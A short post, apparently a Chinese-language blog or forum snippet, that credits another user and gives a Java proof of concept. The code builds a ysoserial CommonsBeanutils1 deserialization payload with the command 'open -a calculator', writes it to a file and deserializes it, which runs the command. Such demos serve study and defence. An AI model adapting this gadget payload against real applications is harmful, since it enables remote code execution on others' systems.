感谢清水大佬的帮助，这个代码是他的

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import ysoserial.payloads.CommonsBeanutils1;

public class Test {
    public Test() {
    }

    public static void main(String[] args) throws Exception {
        CommonsBeanutils1 cbu1 = new CommonsBeanutils1();
        Object obj = cbu1.getObject("open -a calculator");
        FileOutputStream fos = new FileOutputStream("1.txt");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        ois.readObject();
    }
}